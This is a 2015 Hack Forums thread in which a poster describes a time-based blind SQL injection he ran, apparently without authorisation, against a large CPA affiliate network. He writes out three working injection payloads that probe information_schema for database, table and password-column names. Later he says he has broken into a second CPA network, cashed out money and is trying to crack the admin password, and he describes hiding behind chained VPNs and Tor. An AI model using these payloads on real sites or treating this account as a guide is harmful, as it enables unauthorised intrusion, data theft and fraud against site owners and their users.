Hack Forums
[BIG CPA Network] Vulnerable - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [BIG CPA Network] Vulnerable (/showthread.php?tid=5020643)

[BIG CPA Network] Vulnerable - DataDumper - Oct 13, 2015

Hey i found a vulnerable sql time based injection in big CPA Network

I used this queries and i menage to get php version 5.5.4, db name and one column from user table.
Code
target.com/blabla.php?=if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/&link=1
Code
target.com/blabla.php?=XOR(if(ascii(substring((select concat(table_schema) from information_schema.columns where table_schema!=0x696e666f726d6174696f6e5f736368656d61 and table_schema='DB_NAME' and table_name like 0x75736572+limit 0,1),1,1))=76,sleep(5),0))OR'*/&link=1
then i went for coulm by guessing them
Code
target.com/blabla.php?=if(now()=sysdate(),sleep(1),0)/*'XOR(if(ascii(substring((select concat(column_name) from information_schema.columns where table_schema!=0x696e666f726d6174696f6e5f736368656d61  and column_name like 'id'  and table_schema='DB_NAME' and table_name like 0x75736572+limit 0,1),1,1))>0,sleep(5),0))OR'*/&link=1

There was id column then i skip to ask for %asswo%, etc then my page was normaly refreshed and the old queries dont work too, you think they fixed it after they saw the delay on their webhosting?

* - f1re_w1re - Oct 13, 2015

It certainly is possible, seen it happen to many times to count, specially if they are as big as you claim them to be. I really hope you are using some form of anonymity.

* - Posna - Oct 13, 2015

Maybe its not vulnerable if it was then you would get access for sure

* - DataDumper - Oct 13, 2015

It was vuln they fixed it, yes its big lower then 3,000 global rank...
i could get some info but they saw i send weird asks for server, and also the vuln spot was not shown for normal user...


by the way i am right now into other CPA -/+ 4,000 global rank not that high but i was able to cashout some $, cant crack admin password...

yes i am using mask, VPN on host -> VPN on guest machine -> TOR